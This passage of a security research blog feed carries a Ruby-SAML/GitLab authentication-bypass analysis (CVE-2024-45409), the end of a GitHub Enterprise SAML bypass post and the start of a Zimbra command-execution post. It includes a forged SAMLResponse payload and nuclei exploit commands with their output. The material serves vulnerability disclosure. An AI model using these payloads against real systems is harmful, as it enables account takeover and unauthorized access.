<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nuclei <span class="nt">-t</span> CVE-2024-9487.yaml <span class="nt">-u</span> https://git.projectdiscovery.io <span class="nt">-var</span> <span class="nv">username</span><span class="o">=</span><span class="s1">'victim@github.com'</span> <span class="nt">-var</span> <span class="nv">metadata_url</span><span class="o">=</span><span class="s1">'https://git.projectdiscovery.io/sso/saml/metadata'</span> <span class="nt">-var</span> <span class="nv">SAMLResponse</span><span class="o">=</span><span class="sb">`</span><span class="nb">cat </span>saml_response.txt<span class="sb">`</span> <span class="nt">-var</span> <span class="nv">RelayState</span><span class="o">=</span><span class="s1">'xyz'</span> <span class="nt">-code</span>
</code></pre></div></div>

<p><strong>Input Options:</strong></p>

<p>• <code class="language-plaintext highlighter-rouge">-var username</code>: Target GitHub user’s email (e.g., victim@github.com).</p>

<p>• <code class="language-plaintext highlighter-rouge">-var metadata_url</code>: SAML metadata URL of the IDP server.</p>

<p>• <code class="language-plaintext highlighter-rouge">-var SAMLResponse</code>: Encrypted SAML response sent by the Identity Provider (IdP) after a login attempt. You can capture this value by starting a login on the target GitHub server and using browser developer tools (Network tab) or tools like <strong>Burp Suite</strong> to find SAMLResponse in the network requests. Save it in a file (e.g., saml_response.txt) to load easily.</p>

<p>• <code class="language-plaintext highlighter-rouge">-var RelayState</code>: This is a unique value sent with SAMLResponse to maintain the session context. You can find the exact RelayState by observing it in your login request traffic, as shown in the video PoC.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nuclei <span class="nt">-t</span> CVE-2024-9487.yaml <span class="nt">-u</span> https://git.projectdiscovery.io <span class="nt">-var</span> <span class="nv">username</span><span class="o">=</span><span class="s1">'admin@projectdiscovery.i'</span> <span class="nt">-var</span> <span class="nv">metadata_url</span><span class="o">=</span><span class="s1">'https://idp.projectdiscovery.io/sso/saml/metadata'</span> <span class="nt">-var</span> <span class="nv">SAMLResponse</span><span class="o">=</span><span class="sb">`</span><span class="nb">cat </span>saml_response.txt<span class="sb">`</span> <span class="nt">-var</span> <span class="nv">RelayState</span><span class="o">=</span><span class="s1">'xyz'</span> <span class="nt">-code</span>

                     __     _
   ____  __  _______/ /__  <span class="o">(</span>_<span class="o">)</span>
  / __ <span class="se">\/</span> / / / ___/ / _ <span class="se">\/</span> /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/<span class="se">\_</span>_,_/<span class="se">\_</span>__/_/<span class="se">\_</span>__/_/   v3.3.4

		projectdiscovery.io

<span class="o">[</span>INF] Current nuclei version: v3.3.4 <span class="o">(</span>latest<span class="o">)</span>
<span class="o">[</span>INF] Current nuclei-templates version: v10.0.2 <span class="o">(</span>latest<span class="o">)</span>
<span class="o">[</span>WRN] Scan results upload to cloud is disabled.
<span class="o">[</span>INF] New templates added <span class="k">in </span>latest release: 68
<span class="o">[</span>INF] Templates loaded <span class="k">for </span>current scan: 
<span class="o">[</span>INF] Targets loaded <span class="k">for </span>current scan: 1
<span class="o">[</span>CVE-2024-9487] <span class="o">[</span>http] <span class="o">[</span>critical] https://git.projectdiscovery.io/saml/consume <span class="o">[</span><span class="s2">"cookie-l-redacted"</span><span class="o">]</span>
</code></pre></div></div>

<p>We’ve also recorded a video demonstrating the SAML authentication bypass on GitHub when encrypted assertions are enabled, showcasing the step-by-step process and impact.</p>

<p>Your browser does not support the video tag.</p>

<h2 id="conclusion">Conclusion</h2>

<p>In this blog post, we explored the GitHub Enterprise implementation of SAML authentication and uncovered a vulnerability involving encrypted assertions. By understanding the intricacies of signature validation and how improperly handled encrypted assertions can introduce security risks, we demonstrated how an attacker could potentially bypass GitHub’s SAML authentication.</p>

<p>As always, staying vigilant and promptly applying security updates is critical to safeguarding on-prem environments.</p>

<hr />

<p>By embracing Nuclei and participating in the <a href="https://github.com/projectdiscovery">open-source community</a> or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://httpvoid.com/assets/cover.png" /><media:content medium="image" url="https://httpvoid.com/assets/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409)</title><link href="https://httpvoid.com/Ruby-SAML-GitLab-Auth-Bypass.md" rel="alternate" type="text/html" title="Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409)" /><published>2024-10-04T00:00:00+00:00</published><updated>2024-10-04T00:00:00+00:00</updated><id>https://httpvoid.com/Ruby-SAML-GitLab-Auth-Bypass</id><content type="html" xml:base="https://httpvoid.com/Ruby-SAML-GitLab-Auth-Bypass.md"><![CDATA[<p>Note - This is cross post from our work at <a href="https://projectdiscovery.io/blog/ruby-saml-gitlab-auth-bypass">Projectdiscovery Blog</a></p>

<h2 id="introduction">Introduction</h2>

<p>In this blog post, we will analyze <a href="https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2"><strong>CVE-2024-45409</strong></a>, a critical vulnerability impacting Ruby-SAML, OmniAuth-SAML libraries, which effectively affects <a href="https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/">GitLab</a>. This vulnerability allows an attacker to bypass SAML authentication mechanisms and gain unauthorized access by exploiting a flaw in how SAML responses are handled. The issue arises due to weaknesses in the verification of the digital signature used to protect SAML assertions, allowing attackers to manipulate the SAML response and bypass critical security checks.</p>

<h2 id="saml-message-verification">SAML Message Verification</h2>

<p>SAML  is a widely used protocol for exchanging authentication and authorization data between identity providers (IdPs) and service providers (SPs). A crucial part of ensuring the security of this exchange is verifying the integrity and authenticity of the data through digital signatures and digest verification.</p>

<p>In this section, we will first explain how SAML signature and digest verification work, and then explore a bypass found in Ruby-SAML that can be exploited to circumvent the signature validation.</p>

<h3 id="how-saml-signatures-work"><strong>How SAML Signatures Work?</strong></h3>

<p>In a typical SAML response, an <strong>Assertion</strong> element holds critical security information, such as the authenticated user’s details. To ensure that this information has not been tampered with, it is digitally signed.</p>

<p><strong>1. Assertion Element and Digest Calculation</strong></p>

<p>The <strong>Assertion</strong> element contains security credentials, and the integrity of this element is protected by calculating a <strong>digest</strong> (a hash) of the canonicalized content of the assertion. The <strong>Signature</strong> node is removed from the Assertion before this digest is computed. This digest is then included in the <strong>SignedInfo</strong> block of the signature element.</p>

<p><strong>2. Signature Element and SignedInfo Block</strong></p>

<p>The <strong>Signature</strong> element includes a <strong>SignedInfo</strong> block, which contains:</p>

<ul>
  <li>A <strong>Reference URI</strong> pointing to the Assertion.</li>
  <li>A <strong>DigestValue</strong>, representing the digest of the assertion block, which is calculated and then stored in this block.</li>
</ul>

<p>Once the digest is included in the SignedInfo block, the entire SignedInfo is signed using the IdP’s private key, and the result is placed in the <strong>SignatureValue</strong> element.</p>

<p>Here’s a simplified XML example of the structure:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;Assertion</span> <span class="na">ID=</span><span class="s">"_abc123"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;Signature&gt;</span>
    <span class="nt">&lt;SignedInfo&gt;</span>
      <span class="nt">&lt;Reference</span> <span class="na">URI=</span><span class="s">"#_abc123"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;DigestMethod</span> <span class="na">Algorithm=</span><span class="s">"http://www.w3.org/2001/04/xmlenc#sha256"</span> <span class="nt">/&gt;</span>
        <span class="nt">&lt;DigestValue&gt;</span>abc123DigestValue<span class="nt">&lt;/DigestValue&gt;</span>
      <span class="nt">&lt;/Reference&gt;</span>
    <span class="nt">&lt;/SignedInfo&gt;</span>
    <span class="nt">&lt;SignatureValue&gt;</span>SignedWithPrivateKey<span class="nt">&lt;/SignatureValue&gt;</span>
  <span class="nt">&lt;/Signature&gt;</span>
    <span class="c">&lt;!-- Assertion contents --&gt;</span>
<span class="nt">&lt;/Assertion&gt;</span>
</code></pre></div></div>

<h3 id="how-digest-and-signature-ensure-integrity"><strong>How digest and signature ensure integrity?</strong></h3>

<p>Any modification to the <strong>Assertion</strong> will alter its digest value. However, since the <strong>SignedInfo</strong> element contains the original digest value and is signed with the IdP’s private key, an attacker cannot alter the SignedInfo block without invalidating the signature. This mechanism ensures that unauthorized changes to the assertion are detected when the service provider (SP) verifies the response.</p>

<p><strong>Signature Verification Process</strong></p>

<p>When the service provider (SP) receives a SAML response, it performs two crucial checks:</p>

<ol>
  <li>
    <p><strong>Digest Verification</strong>: The SP calculates the digest of the <strong>Assertion</strong> (after removing the Signature node) and compares it with the <strong>DigestValue</strong> present in the <strong>SignedInfo</strong> block. If the digests do not match, the assertion has been tampered with.</p>
  </li>
  <li>
    <p><strong>Signature Verification</strong>: The SP uses the IdP’s public key to verify the signature on the <strong>SignedInfo</strong> block. If the signature is valid, it confirms that the IdP signed the message and that it hasn’t been modified.</p>
  </li>
</ol>

<h2 id="ruby-saml-bypass">Ruby-SAML Bypass</h2>

<p>In the Ruby-SAML library, several validations occur before the actual signature validation, including schema validations and checks on the number of assertions. However, a specific vulnerability arises due to how XPath is used to extract certain elements during validation.</p>

<p><strong>XPATH Refresher:</strong></p>

<p><code class="language-plaintext highlighter-rouge">/</code> - This selects nodes starting from the root of the document. For example, <code class="language-plaintext highlighter-rouge">/samlp:Response</code> retrieves the <code class="language-plaintext highlighter-rouge">&lt;samlp:Response&gt;</code> root node. Similarly,  <code class="language-plaintext highlighter-rouge">/samlp:Response/saml:Issuer</code> will access <code class="language-plaintext highlighter-rouge">&lt;saml:Issuer&gt;</code> starting from root node <code class="language-plaintext highlighter-rouge">&lt;samlp:Response&gt;</code>.</p>

<p><code class="language-plaintext highlighter-rouge">./</code> - This selects nodes relative to the current node. For instance, if the current context is the <code class="language-plaintext highlighter-rouge">&lt;Signature&gt;</code> element, then <code class="language-plaintext highlighter-rouge">./SignedInfo</code> will return the <code class="language-plaintext highlighter-rouge">&lt;SignedInfo&gt;</code> node that is a direct child of <code class="language-plaintext highlighter-rouge">&lt;Signature&gt;</code>.</p>

<p><code class="language-plaintext highlighter-rouge">//</code> - This selects nodes from anywhere in the document, including all nested nodes. For example, <code class="language-plaintext highlighter-rouge">//SignedInfo</code> will select all instances of <code class="language-plaintext highlighter-rouge">&lt;SignedInfo&gt;</code>, regardless of how deeply they are nested within the document.</p>

<p>A patch was committed in the Ruby-SAML library (see <a href="https://github.com/SAML-Toolkits/ruby-saml/commit/4865d030cae9705ee5cdb12415c654c634093ae7">here</a>) that attempts to tighten security. Previously, the way elements were accessed using <code class="language-plaintext highlighter-rouge">//</code> in the XPath selector was too permissive.</p>

<p>Here’s where the issue lies: when extracting the <strong>DigestValue</strong> from the reference node, the XPath expression //ds:DigestValue is used. This means the first occurrence of a <strong>DigestValue</strong> element with the DSIG namespace will be selected from anywhere in the document.</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">encoded_digest_value</span> <span class="o">=</span> <span class="no">REXML</span><span class="o">::</span><span class="no">XPath</span><span class="p">.</span><span class="nf">first</span><span class="p">(</span>
  <span class="n">ref</span><span class="p">,</span>
  <span class="s2">"//ds:DigestValue"</span><span class="p">,</span>
  <span class="p">{</span> <span class="s2">"ds"</span> <span class="o">=&gt;</span> <span class="no">DSIG</span> <span class="p">}</span>
<span class="p">)</span>
</code></pre></div></div>

<p>By exploiting this, an attacker can smuggle another <strong>DigestValue</strong> into the document inside the samlp:extensions element, which is designed to hold any element with a valid namespace.</p>

<h3 id="bypassing-signature-validation"><strong>Bypassing Signature Validation</strong></h3>

<p>The vulnerability allows us to bypass signature validation as follows:</p>

<ul>
  <li>We insert a **DigestValue **of the modified assertion inside the samlp:extensions element.</li>
  <li>The XPath selector will extract this smuggled <strong>DigestValue</strong> instead of the one from the <strong>SignedInfo</strong> block.</li>
  <li>Since the <strong>SignedInfo</strong> block itself is not modified, it passes the signature check, but the actual assertion content could have been tampered with.</li>
</ul>

<p>The following example illustrates how this can be exploited in code:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">hash</span> <span class="o">=</span> <span class="n">digest_algorithm</span><span class="p">.</span><span class="nf">digest</span><span class="p">(</span><span class="n">canon_hashed_element</span><span class="p">)</span>
<span class="n">encoded_digest_value</span> <span class="o">=</span> <span class="no">REXML</span><span class="o">::</span><span class="no">XPath</span><span class="p">.</span><span class="nf">first</span><span class="p">(</span>
  <span class="n">ref</span><span class="p">,</span>
  <span class="s2">"//ds:DigestValue"</span><span class="p">,</span>
  <span class="p">{</span> <span class="s2">"ds"</span> <span class="o">=&gt;</span> <span class="no">DSIG</span> <span class="p">}</span>
<span class="p">)</span>
<span class="n">digest_value</span> <span class="o">=</span> <span class="no">Base64</span><span class="p">.</span><span class="nf">decode64</span><span class="p">(</span><span class="no">OneLogin</span><span class="o">::</span><span class="no">RubySaml</span><span class="o">::</span><span class="no">Utils</span><span class="p">.</span><span class="nf">element_text</span><span class="p">(</span><span class="n">encoded_digest_value</span><span class="p">))</span>

<span class="k">unless</span> <span class="n">digests_match?</span><span class="p">(</span><span class="nb">hash</span><span class="p">,</span> <span class="n">digest_value</span><span class="p">)</span>
  <span class="k">return</span> <span class="n">append_error</span><span class="p">(</span><span class="s2">"Digest mismatch"</span><span class="p">,</span> <span class="n">soft</span><span class="p">)</span>
<span class="k">end</span>

<span class="k">unless</span> <span class="n">cert</span><span class="p">.</span><span class="nf">public_key</span><span class="p">.</span><span class="nf">verify</span><span class="p">(</span><span class="n">signature_algorithm</span><span class="p">.</span><span class="nf">new</span><span class="p">,</span> <span class="n">signature</span><span class="p">,</span> <span class="n">canon_string</span><span class="p">)</span>
  <span class="k">return</span> <span class="n">append_error</span><span class="p">(</span><span class="s2">"Key validation error"</span><span class="p">,</span> <span class="n">soft</span><span class="p">)</span>
<span class="k">end</span>
</code></pre></div></div>

<p>In this case:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">canon_hashed_element</code> refers to the Assertion block without the Signature block.</li>
  <li><code class="language-plaintext highlighter-rouge">encoded_digest_value</code> is our controlled <strong>DigestValue</strong> smuggled inside samlp:extensions.</li>
  <li><code class="language-plaintext highlighter-rouge">canon_string</code> refers to the SignedInfo block.</li>
</ul>

<p>Here’s an example SAML Response to perform the SAML Bypass:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="nt">&lt;samlp:Response</span> <span class="na">Destination=</span><span class="s">"http://kubernetes.docker.internal:3000/saml/acs"</span>
    <span class="na">ID=</span><span class="s">"_afe0ff5379c42c67e0fb"</span> <span class="na">InResponseTo=</span><span class="s">"_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"</span>
    <span class="na">IssueInstant=</span><span class="s">"2024-10-03T13:50:44.973Z"</span> <span class="na">Version=</span><span class="s">"2.0"</span>
    <span class="na">xmlns:samlp=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:protocol"</span> <span class="na">xmlns:xs=</span><span class="s">"http://www.w3.org/2001/XMLSchema"</span><span class="nt">&gt;</span>
    <span class="nt">&lt;saml:Issuer</span> <span class="na">Format=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:nameid-format:entity"</span>
        <span class="na">xmlns:saml=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:assertion"</span><span class="nt">&gt;</span>https://saml.example.com/entityid<span class="nt">&lt;/saml:Issuer&gt;</span>
    <span class="nt">&lt;samlp:Extensions&gt;</span>
        <span class="nt">&lt;DigestValue</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/09/xmldsig#"</span><span class="nt">&gt;</span>
            legitdigestvalue
        <span class="nt">&lt;/DigestValue&gt;</span>
    <span class="nt">&lt;/samlp:Extensions&gt;</span>
    <span class="nt">&lt;samlp:Status</span> <span class="na">xmlns:samlp=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:protocol"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;samlp:StatusCode</span> <span class="na">Value=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:status:Success"</span> <span class="nt">/&gt;</span>
    <span class="nt">&lt;/samlp:Status&gt;</span>
    <span class="nt">&lt;saml:Assertion</span> <span class="na">ID=</span><span class="s">"_911d8da24301c447b649"</span> <span class="na">IssueInstant=</span><span class="s">"2024-10-03T13:50:44.973Z"</span> <span class="na">Version=</span><span class="s">"2.0"</span>
        <span class="na">xmlns:saml=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:assertion"</span>
        <span class="na">xmlns:xs=</span><span class="s">"http://www.w3.org/2001/XMLSchema"</span><span class="nt">&gt;</span>
        <span class="nt">&lt;saml:Issuer</span> <span class="na">Format=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:nameid-format:entity"</span>
            <span class="na">xmlns:saml=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:assertion"</span><span class="nt">&gt;</span>https://saml.example.com/entityid<span class="nt">&lt;/saml:Issuer&gt;</span>
        <span class="nt">&lt;Signature</span> <span class="na">xmlns=</span><span class="s">"http://www.w3.org/2000/09/xmldsig#"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;SignedInfo&gt;</span>
                <span class="nt">&lt;CanonicalizationMethod</span> <span class="na">Algorithm=</span><span class="s">"http://www.w3.org/2001/10/xml-exc-c14n#"</span> <span class="nt">/&gt;</span>
                <span class="nt">&lt;SignatureMethod</span> <span class="na">Algorithm=</span><span class="s">"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"</span> <span class="nt">/&gt;</span>
                <span class="nt">&lt;Reference</span> <span class="na">URI=</span><span class="s">"#_911d8da24301c447b649"</span><span class="nt">&gt;</span>
                    <span class="nt">&lt;Transforms&gt;</span>
                        <span class="nt">&lt;Transform</span> <span class="na">Algorithm=</span><span class="s">"http://www.w3.org/2000/09/xmldsig#enveloped-signature"</span> <span class="nt">/&gt;</span>
                        <span class="nt">&lt;Transform</span> <span class="na">Algorithm=</span><span class="s">"http://www.w3.org/2001/10/xml-exc-c14n#"</span> <span class="nt">/&gt;</span>
                    <span class="nt">&lt;/Transforms&gt;</span>
                    <span class="nt">&lt;DigestMethod</span> <span class="na">Algorithm=</span><span class="s">"http://www.w3.org/2001/04/xmlenc#sha256"</span> <span class="nt">/&gt;</span>
                    <span class="nt">&lt;DigestValue&gt;</span>U31P2Bs1niIjPrSSA5hpC0GN4EZvsWMiOrHh6TqQFqM=<span class="nt">&lt;/DigestValue&gt;</span>
                <span class="nt">&lt;/Reference&gt;</span>
            <span class="nt">&lt;/SignedInfo&gt;</span>
            <span class="nt">&lt;SignatureValue&gt;</span>
                KUM0YSAtobgqTq1d2dkd6Lugrh5vOhAawv4M8QPkxsiHaOuGxLCyqlJy74opHHc2K5S5hz8Us12kVplsHrFBJUezAbD+ME9Qx6bHc3G8RUfjnkJgEqb8m9yQAWpDNIBOff4nUbJp9wnMmLmTyOj7at+rkFpyrydHVBTNemkRNShuH/+3aYBWSmUJkOV2dVhUjHF9nTJv/6KAA39S8Z86uNulwxN+0Cc55bGH2P+qau3YYafpEJVEG17cVLL0mkpVUTRxtBn/8vJHCPbwT7/hx2RXdxdM+V6T59kPuRRW5iyGzk2bx6qKvUCqLwWTp5xA/uw0WxlDvCiQGpzJBVz5gA==<span class="nt">&lt;/SignatureValue&gt;</span>
            <span class="nt">&lt;KeyInfo&gt;</span>
                <span class="nt">&lt;X509Data&gt;</span>
                    <span class="nt">&lt;X509Certificate&gt;</span>MIIC4jCC....HpLKQQ==<span class="nt">&lt;/X509Certificate&gt;</span>
                <span class="nt">&lt;/X509Data&gt;</span>
            <span class="nt">&lt;/KeyInfo&gt;</span>
        <span class="nt">&lt;/Signature&gt;</span>
        <span class="nt">&lt;saml:Subject</span> <span class="na">xmlns:saml=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:assertion"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;saml:NameID</span> <span class="na">Format=</span><span class="s">"urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress"</span><span class="nt">&gt;</span>
                jackson-pwnnnnnn@example.com<span class="nt">&lt;/saml:NameID&gt;</span>
            <span class="nt">&lt;saml:SubjectConfirmation</span> <span class="na">Method=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:cm:bearer"</span><span class="nt">&gt;</span>
                <span class="nt">&lt;saml:SubjectConfirmationData</span> <span class="na">InResponseTo=</span><span class="s">"_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"</span>
                    <span class="na">NotOnOrAfter=</span><span class="s">"2024-10-03T13:55:44.973Z"</span>
                    <span class="na">Recipient=</span><span class="s">"http://kubernetes.docker.internal:3000/saml/acs"</span> <span class="nt">/&gt;</span>
            <span class="nt">&lt;/saml:SubjectConfirmation&gt;</span>
        <span class="nt">&lt;/saml:Subject&gt;</span>
        <span class="nt">&lt;saml:Conditions</span> <span class="na">NotBefore=</span><span class="s">"2024-10-03T13:45:44.973Z"</span>
            <span class="na">NotOnOrAfter=</span><span class="s">"2024-10-03T13:55:44.973Z"</span>
            <span class="na">xmlns:saml=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:assertion"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;saml:AudienceRestriction&gt;</span>
                <span class="nt">&lt;saml:Audience&gt;</span>https://saml.example.com/entityid<span class="nt">&lt;/saml:Audience&gt;</span>
            <span class="nt">&lt;/saml:AudienceRestriction&gt;</span>
        <span class="nt">&lt;/saml:Conditions&gt;</span>
        <span class="nt">&lt;saml:AuthnStatement</span> <span class="na">AuthnInstant=</span><span class="s">"2024-10-03T13:50:44.973Z"</span>
            <span class="na">SessionIndex=</span><span class="s">"_f55b2958-2c8d-438b-a3fe-e84178b8d4fc"</span>
            <span class="na">xmlns:saml=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:assertion"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;saml:AuthnContext&gt;</span>
                <span class="nt">&lt;saml:AuthnContextClassRef&gt;</span>
                    urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport<span class="nt">&lt;/saml:AuthnContextClassRef&gt;</span>
            <span class="nt">&lt;/saml:AuthnContext&gt;</span>
        <span class="nt">&lt;/saml:AuthnStatement&gt;</span>
        <span class="nt">&lt;saml:AttributeStatement</span> <span class="na">xmlns:saml=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:assertion"</span><span class="nt">&gt;</span>
            <span class="nt">&lt;saml:Attribute</span> <span class="na">Name=</span><span class="s">"id"</span>
                <span class="na">NameFormat=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"</span><span class="nt">&gt;</span>
                <span class="nt">&lt;saml:AttributeValue</span> <span class="na">xmlns:xs=</span><span class="s">"http://www.w3.org/2001/XMLSchema"</span>
                    <span class="na">xmlns:xsi=</span><span class="s">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="na">xsi:type=</span><span class="s">"xs:string"</span><span class="nt">&gt;</span>
                    1dda9fb491dc01bd24d2423ba2f22ae561f56ddf2376b29a11c80281d21201f9<span class="nt">&lt;/saml:AttributeValue&gt;</span>
            <span class="nt">&lt;/saml:Attribute&gt;</span>
            <span class="nt">&lt;saml:Attribute</span> <span class="na">Name=</span><span class="s">"email"</span>
                <span class="na">NameFormat=</span><span class="s">"urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"</span><span class="nt">&gt;</span>
                <span class="nt">&lt;saml:AttributeValue</span> <span class="na">xmlns:xs=</span><span class="s">"http://www.w3.org/2001/XMLSchema"</span>
                    <span class="na">xmlns:xsi=</span><span class="s">"http://www.w3.org/2001/XMLSchema-instance"</span> <span class="na">xsi:type=</span><span class="s">"xs:string"</span><span class="nt">&gt;</span>
                    jackson@example.com<span class="nt">&lt;/saml:AttributeValue&gt;</span>
            <span class="nt">&lt;/saml:Attribute&gt;</span>
        <span class="nt">&lt;/saml:AttributeStatement&gt;</span>
    <span class="nt">&lt;/saml:Assertion&gt;</span>

<span class="nt">&lt;/samlp:Response&gt;</span>
</code></pre></div></div>

<p>We’ve created <a href="https://cloud.projectdiscovery.io/?template=CVE-2024-45409">nuclei template</a> to ease the process of getting session cookie once you obtain the <code class="language-plaintext highlighter-rouge">SAMLResponse</code> of targeted user.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nuclei <span class="nt">-t</span> CVE-2024-45409.yaml <span class="nt">-u</span> https://gitlab.redacted.com <span class="nt">-code</span>  <span class="nt">-var</span> <span class="nv">SAMLResponse</span><span class="o">=</span><span class="s1">'REDACTED'</span>

                     __     _
   ____  __  _______/ /__  <span class="o">(</span>_<span class="o">)</span>
  / __ <span class="se">\/</span> / / / ___/ / _ <span class="se">\/</span> /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/<span class="se">\_</span>_,_/<span class="se">\_</span>__/_/<span class="se">\_</span>__/_/   v3.3.4

		projectdiscovery.io

<span class="o">[</span>INF] Current nuclei version: v3.3.4 <span class="o">(</span>latest<span class="o">)</span>
<span class="o">[</span>INF] Current nuclei-templates version: v10.0.1 <span class="o">(</span>latest<span class="o">)</span>
<span class="o">[</span>WRN] Scan results upload to cloud is disabled.
<span class="o">[</span>INF] New templates added <span class="k">in </span>latest release: 86
<span class="o">[</span>INF] Templates loaded <span class="k">for </span>current scan: 1
<span class="o">[</span>INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
<span class="o">[</span>INF] Targets loaded <span class="k">for </span>current scan: 1
<span class="o">[</span>CVE-2024-45409] <span class="o">[</span>http] <span class="o">[</span>critical] https://gitlab.redacted.com/users/auth/saml/callback <span class="o">[</span><span class="s2">"c4a8f2720a97068ee44440beee8f296c"</span><span class="o">]</span>
</code></pre></div></div>

<p>We’ve also recorded video poc showcasing SAML authentication bypass on GitLab</p>

<p>Your browser does not support the video tag.</p>

<h3 id="conclusion">Conclusion</h3>

<p>The <strong>CVE-2024-45409</strong> vulnerability demonstrates how a subtle flaw in signature verification can have severe consequences, allowing attackers to bypass critical authentication mechanisms. This analysis highlights the importance of strict validation procedures, especially when dealing with security protocols like SAML. While the vulnerability has been patched, it serves as a reminder that even widely adopted libraries can harbor vulnerabilities if not carefully implemented.</p>

<p>Organizations/Applications relying on Ruby-SAML/OmniAuth-SAML for authentication should ensure their libraries are up to date. By understanding the nature of such vulnerabilities, developers and security teams can strengthen their defenses against potential attacks.</p>

<hr />

<p>By embracing Nuclei and participating in the <a href="https://github.com/projectdiscovery">open-source community</a> or joining the ProjectDiscovery Cloud Platform, organizations can strengthen their security defenses, stay ahead of emerging threats, and create a safer digital environment. Security is a collective effort, and together we can continuously evolve and tackle the challenges posed by cyber threats.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Note - This is cross post from our work at Projectdiscovery Blog]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://httpvoid.com/assets/cover.png" /><media:content medium="image" url="https://httpvoid.com/assets/cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Zimbra - Remote Command Execution (CVE-2024-45519)</title><link href="https://httpvoid.com/Zimbra-Remote-Command-Execution.md" rel="alternate" type="text/html" title="Zimbra - Remote Command Execution (CVE-2024-45519)" /><published>2024-09-27T00:00:00+00:00</published><updated>2024-09-27T00:00:00+00:00</updated><id>https://httpvoid.com/Zimbra-Remote-Command-Execution</id><content type="html" xml:base="https://httpvoid.com/Zimbra-Remote-Command-Execution.md"><![CDATA[<p>Note - This is cross post from our work at <a href="https://projectdiscovery.io/blog/zimbra-remote-code-execution">Projectdiscovery Blog</a></p>

<p>Zimbra, a widely used email and collaboration platform, recently released a critical security update addressing a severe vulnerability in its <code class="language-plaintext highlighter-rouge">postjournal</code> service. This vulnerability, identified as CVE-2024-45519, allows unauthenticated attackers to execute arbitrary commands on affected Zimbra installations. In this blog post, we delve into the nature of this vulnerability, our journey in analyzing the patch, and the steps we took to exploit it manually. We also discuss the potential impact and emphasize the importance of timely patch application.</p>

<h2 id="whats-in-the-patch">What’s in the Patch?</h2>

<p>We discovered that Zimbra uses the S3 bucket <code class="language-plaintext highlighter-rouge">s3://repo.zimbra.com</code> to host both <a href="https://wiki.zimbra.com/wiki/Zimbra_Package_Repository">packages and patches</a>. Fortunately, the bucket had a public listing, which allowed us to locate the necessary patch.</p>

<p>To begin our analysis, we obtained the patched version of the <code class="language-plaintext highlighter-rouge">postjournal</code> binary from the latest Zimbra patch package: <a href="https://repo.zimbra.com/apt/8815-ne/pool/zimbra/z/zimbra-patch/zimbra-patch_8.8.15.1723777774.p46-2.u16_amd64.deb">Zimbra Patch Package</a></p>

<p>By extracting the <code class="language-plaintext highlighter-rouge">.deb</code> file, we retrieved the patched <code class="language-plaintext highlighter-rouge">postjournal</code> binary located at <code class="language-plaintext highlighter-rouge">./opt/zimbra/lib/patches/postjournal</code>.</p>

<p>Instead of performing a binary diff, we opted for a quicker approach by reversing the binary using Ghidra. We searched for critical functions such as <code class="language-plaintext highlighter-rouge">system</code> and <code class="language-plaintext highlighter-rouge">exec*</code> and discovered a function named <code class="language-plaintext highlighter-rouge">run_command</code>. This function was referenced by <code class="language-plaintext highlighter-rouge">read_maps</code>, prompting us to examine <code class="language-plaintext highlighter-rouge">read_maps</code> and trace its references up to the <code class="language-plaintext highlighter-rouge">main</code> function.</p>

<p>We established the following method call hierarchy:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">main</span>
